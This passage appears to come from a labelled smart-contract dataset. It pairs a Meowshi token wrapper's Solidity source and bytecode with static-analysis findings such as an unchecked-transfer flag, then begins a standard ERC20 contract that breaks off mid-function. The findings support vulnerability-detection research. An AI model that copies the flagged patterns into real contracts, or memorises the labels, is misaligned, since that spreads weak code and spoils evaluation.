Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`. function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) { meowBurn(amount); unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);} ISushiBar(sushiBar).leave(amountOut); sushiToken.transfer(to, balanceOfOptimized(address(sushiToken))); } // **** SUPPLY MGMT /// @notice Internal mint function for *meow*. function meowMint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; _moveDelegates(address(0), delegates[to], amount); emit Transfer(address(0), to, amount); } /// @notice Internal burn function for *unmeow*. function meowBurn(uint256 amount) private { balanceOf[msg.sender] -= amount; unchecked {totalSupply -= amount;} _moveDelegates(delegates[msg.sender], address(0), amount); emit Transfer(msg.sender, address(0), amount); } /************** TOKEN FUNCTIONS **************/ /// @notice Approves `amount` from msg.sender to be spent by `spender`. /// @param spender Address of the party that can draw tokens from msg.sender's account. /// @param amount The maximum collective `amount` that `spender` can draw. /// @return (bool) Returns 'true' if succeeded. function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @notice Triggers an approval from owner to spends. /// @param owner The address to approve from. /// @param spender The address to be approved. /// @param amount The number of tokens that are approved (2^256-1 means infinite). /// @param deadline The time at which to expire the signature. /// @param v The recovery byte of the signature. /// @param r Half of the ECDSA signature pair. /// @param s Half of the ECDSA signature pair. function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Meowshi::permit: invalid signature'); require(signatory == owner, 'Meowshi::permit: unauthorized');} require(block.timestamp <= deadline, 'Meowshi::permit: signature expired'); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transfer(address to, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; unchecked {balanceOf[to] += amount;} _moveDelegates(delegates[msg.sender], delegates[to], amount); emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`. /// @param from Address to draw tokens `from`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transferFrom(address from, address to, uint256 amount) external returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) {allowance[from][msg.sender] -= amount;} balanceOf[from] -= amount; unchecked {balanceOf[to] += amount;} _moveDelegates(delegates[from], delegates[to], amount); emit Transfer(from, to, amount); return true; } /******************* DELEGATION FUNCTIONS *******************/ /// @notice Delegate votes from `msg.sender` to `delegatee`. /// @param delegatee The address to delegate votes to. function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /// @notice Delegates votes from signatory to `delegatee`. /// @param delegatee The address to delegate votes to. /// @param nonce The contract state required to match the signature. /// @param expiry The time at which to expire the signature. /// @param v The recovery byte of the signature. /// @param r Half of the ECDSA signature pair. /// @param s Half of the ECDSA signature pair. function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature'); unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');} require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired'); return _delegate(signatory, delegatee); } function _delegate(address delegator, address delegatee) private { address currentDelegate = delegates[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, balanceOf[delegator]); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) private { if (srcRep != dstRep && amount != 0) { unchecked {if (srcRep != address(0)) { uint256 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint256 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); }} } } function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) private { unchecked {if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == block.number) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(block.number, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1;}} emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } /*************** GETTER FUNCTIONS ***************/ /// @notice This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize check. function balanceOfOptimized(address token) private view returns (uint256 amount) { (bool success, bytes memory data) = token.staticcall(abi.encodeWithSelector(ISushiBar.balanceOf.selector, address(this))); require(success && data.length >= 32); amount = abi.decode(data, (uint256)); } /// @notice Get current chain. function getChainId() private view returns (uint256 Id) { uint256 chainId; assembly {chainId := chainid()} Id = chainId; } /// @notice Gets the current votes balance for `account`. /// @param account The address to get votes balance. /// @return votes The number of current votes for `account`. function getCurrentVotes(address account) external view returns (uint256 votes) { unchecked {uint256 nCheckpoints = numCheckpoints[account]; votes = nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;} } /// @notice Determine the prior number of votes for an `account` as of a block number. /// @dev Block number must be a finalized block or else this function will revert to prevent misinformation. /// @param account The address of the `account` to check. /// @param blockNumber The block number to get the vote balance at. /// @return The number of votes the `account` had as of the given block. function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined'); uint256 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) {return 0;} // @dev First check most recent balance. unchecked {if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;} // @dev Next check implicit zero balance. if (checkpoints[account][0].fromBlock > blockNumber) {return 0;} uint256 lower; uint256 upper = nCheckpoints - 1; while (upper != lower) { uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else {upper = center - 1;}} return checkpoints[account][lower].votes;} } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80636fcfff45116100e3578063ac9650d81161008c578063d505accf11610066578063d505accf14610443578063dd62ed3e14610456578063e6ff41eb1461048157600080fd5b8063ac9650d8146103fd578063b4b5ea571461041d578063c3cda5201461043057600080fd5b80637ecebe00116100bd5780637ecebe001461038e57806395d89b41146103ae578063a9059cbb146103ea57600080fd5b80636fcfff451461033b57806370a082311461035b578063782d6fe11461037b57600080fd5b806323b872dd11610145578063587cde1e1161011f578063587cde1e146102b85780635c19a95c14610313578063642ed5001461032857600080fd5b806323b872dd14610278578063313ce5671461028b5780633c0adb68146102a557600080fd5b80630cdfebfa116101765780630cdfebfa1461020757806318160ddd1461024e5780631b04a34f1461026557600080fd5b806306fdde0314610192578063095ea7b3146101e4575b600080fd5b6101ce6040518060400160405280600781526020017f4d656f777368690000000000000000000000000000000000000000000000000081525081565b6040516101db919061268c565b60405180910390f35b6101f76101f2366004612385565b610494565b60405190151581526020016101db565b610239610215366004612385565b60056020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152016101db565b61025760005481565b6040519081526020016101db565b610257610273366004612385565b61050e565b6101f76102863660046122e1565b610605565b610293601281565b60405160ff90911681526020016101db565b6102576102b3366004612385565b61079f565b6102ee6102c6366004612295565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101db565b610326610321366004612295565b610a05565b005b610257610336366004612385565b610a12565b610257610349366004612295565b60066020526000908152604090205481565b610257610369366004612295565b60026020526000908152604090205481565b610257610389366004612385565b610c66565b61025761039c366004612295565b60036020526000908152604090205481565b6101ce6040518060400160405280600481526020017f4d454f570000000000000000000000000000000000000000000000000000000081525081565b6101f76103f8366004612385565b610f1e565b61041061040b366004612405565b610fde565b6040516101db919061260d565b61025761042b366004612295565b6111b3565b61032661043e3660046123ae565b611243565b61032661045136600461231c565b611652565b6102576104643660046122af565b600160209081526000928352604080842090915290825290205481565b61025761048f366004612385565b611abe565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fc9086815260200190565b60405180910390a35060015b92915050565b600061051982611bff565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015230602482015273ffffffffffffffffffffffffffffffffffffffff8416604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190612574565b509392505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146106a25773ffffffffffffffffffffffffffffffffffffffff841660009081526001602090815260408083203384529091528120805484929061069c90849061275e565b90915550505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260026020526040812080548492906106d790849061275e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461072e92918216911684611c97565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078d91815260200190565b60405180910390a35060019392505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c9190612475565b506040517fa59f3e0c00000000000000000000000000000000000000000000000000000000815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b5050505073f5bce5077908a1b7370b9ae04adc565ebd64396673ffffffffffffffffffffffffffffffffffffffff166302b9446c738798249c2e607446efb7ad49ec89dd1865ff4272303061092f738798249c2e607446efb7ad49ec89dd1865ff4272611e4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b16815273ffffffffffffffffffffffffffffffffffffffff948516600482015292841660248401529216604482015260648101919091526000608482015260a4015b6040805180830381600087803b1580156109b357600080fd5b505af11580156109c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109eb9190612574565b9150610508905083610a00620186a084612721565b611f59565b610a0f338261202f565b50565b6000610a1d82611bff565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff427260048201523060248201819052604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b158015610ab457600080fd5b505af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190612574565b506040517f67dfd4c900000000000000000000000000000000000000000000000000000000815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b158015610b5657600080fd5b505af1158015610b6a573d6000803e3d6000fd5b50505050736b3595068778dd592e39a122f4f5a5cf09c90fe273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84610bbc736b3595068778dd592e39a122f4f5a5cf09c90fe2611e4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152604401602060405180830381600087803b158015610c2757600080fd5b505af1158015610c3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5f9190612475565b5092915050565b6000438210610cfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201527f64657465726d696e65640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090205480610d31576000915050610508565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020548310610de75773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909401835292905220600101549050610508565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600560209081526040808320838052909152902054831015610e29576000915050610508565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b818114610ee15773ffffffffffffffffffffffffffffffffffffffff86166000908152600560209081526040808320600286860304850380855290835292819020815180830190925280548083526001909101549282019290925290871415610ec2576020015194506105089350505050565b8051871115610ed357819350610eda565b6001820392505b5050610e4f565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320938352929052206001015491505092915050565b33600090815260026020526040812080548391908390610f3f90849061275e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610f9492918216911684611c97565b60405182815273ffffffffffffffffffffffffffffffffffffffff84169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016104fc565b60608167ffffffffffffffff811115611020577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561105357816020015b606081526020019060019003908161103e5790505b50905060005b82811015610c5f576000803086868581811061109e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020028101906110b0919061269f565b6040516110be9291906125e1565b600060405180830381855af49150503d80600081146110f9576040519150601f19603f3d011682016040523d82523d6000602084013e6110fe565b606091505b5091509150816111645760448151101561111757600080fd5b600481019050808060200190518101906111319190612495565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3919061268c565b8084848151811061119e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101525050600101611059565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260066020526040812054806111e557600061123c565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020600101545b9392505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c083015273ffffffffffffffffffffffffffffffffffffffff8a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611421573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166114ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f7369676e617475726500000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260036020526040902080546001810190915589146115ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f6e6f6e63650000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8742111561163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e6174757260448201527f65206578706972656400000000000000000000000000000000000000000000006064820152608401610cf3565b611645818b61202f565b505050505b505050505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a08201845280519083012073ffffffffffffffffffffffffffffffffffffffff8b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a9052855180850390910181526101808401909552845194909301939093207f19010000000000000000000000000000000000000000000000000000000000006101a08301526101a282018490526101c2820181905291906101e201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611855573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e61747560448201527f72650000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610cf3565b50505084421115611a4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e617475726520657870697260448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7f9190612475565b506040517f02b9446c000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482018190523060448301526064820184905260006084830152906302b9446c9060a40161099a565b3360009081526002602052604081208054839290611c1e90849061275e565b909155505060008054829003815533815260046020526040812054611c5c9173ffffffffffffffffffffffffffffffffffffffff9091169083611c97565b60405181815260009033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cd257508015155b15611e495773ffffffffffffffffffffffffffffffffffffffff831615611d925773ffffffffffffffffffffffffffffffffffffffff83166000908152600660205260408120549081611d26576000611d7d565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b9050828103611d8e868484846120e6565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615611e495773ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260408120549081611de1576000611e38565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b905082810161164a858484846120e6565b505050565b604080513060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f70a082310000000000000000000000000000000000000000000000000000000017905290516000918291829173ffffffffffffffffffffffffffffffffffffffff861691611ee091906125f1565b600060405180830381855afa9150503d8060008114611f1b576040519150601f19603f3d011682016040523d82523d6000602084013e611f20565b606091505b5091509150818015611f3457506020815110155b611f3d57600080fd5b80806020019051810190611f51919061255c565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604081208054839290611f8e908490612709565b9250508190555080600080828254611fa69190612709565b909155505073ffffffffffffffffffffffffffffffffffffffff808316600090815260046020526040812054611fdd921683611c97565b60405181815273ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff80831660008181526004602052604080822080548686167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559151919094169392849290917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a473ffffffffffffffffffffffffffffffffffffffff8316600090815260026020526040902054611e499082908490611c97565b8215801590612146575073ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290205443145b156121a85773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff870184529091529020600101819055612204565b604080518082018252438152602080820184815273ffffffffffffffffffffffffffffffffffffffff88166000818152600584528581208982528452858120945185559151600194850155815260069091529190912090840190555b604080518381526020810183905273ffffffffffffffffffffffffffffffffffffffff8616917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a250505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461227f57600080fd5b919050565b803560ff8116811461227f57600080fd5b6000602082840312156122a6578081fd5b61123c8261225b565b600080604083850312156122c1578081fd5b6122ca8361225b565b91506122d86020840161225b565b90509250929050565b6000806000606084860312156122f5578081fd5b6122fe8461225b565b925061230c6020850161225b565b9150604084013590509250925092565b600080600080600080600060e0888a031215612336578283fd5b61233f8861225b565b965061234d6020890161225b565b9550604088013594506060880135935061236960808901612284565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612397578182fd5b6123a08361225b565b946020939093013593505050565b60008060008060008060c087890312156123c6578182fd5b6123cf8761225b565b955060208701359450604087013593506123eb60608801612284565b92506080870135915060a087013590509295509295509295565b60008060208385031215612417578182fd5b823567ffffffffffffffff8082111561242e578384fd5b818501915085601f830112612441578384fd5b81358181111561244f578485fd5b8660208260051b8501011115612463578485fd5b60209290920196919550909350505050565b600060208284031215612486578081fd5b8151801515811461123c578182fd5b6000602082840312156124a6578081fd5b815167ffffffffffffffff808211156124bd578283fd5b818401915084601f8301126124d0578283fd5b8151818111156124e2576124e26127d4565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715612528576125286127d4565b81604052828152876020848701011115612540578586fd5b612551836020830160208801612775565b979650505050505050565b60006020828403121561256d578081fd5b5051919050565b60008060408385031215612586578182fd5b505080516020909101519092909150565b600081518084526125af816020860160208601612775565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b8183823760009101908152919050565b60008251612603818460208701612775565b9190910192915050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b8281101561267f577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261266d858351612597565b94509285019290850190600101612633565b5092979650505050505050565b60208152600061123c6020830184612597565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126126d3578283fd5b83018035915067ffffffffffffffff8211156126ed578283fd5b60200191503681900382131561270257600080fd5b9250929050565b6000821982111561271c5761271c6127a5565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612759576127596127a5565b500290565b600082821015612770576127706127a5565b500390565b60005b83811015612790578181015183820152602001612778565b8381111561279f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea264697066735822122053f1b7e8a41f428c2dc17a4a32aa5f90c8abc4d4e446b72826a540d44853bdde64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,382
0xf9af111815161a6edec4b40a083d5efb3eca4f04
pragma solidity 0.4.20; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = 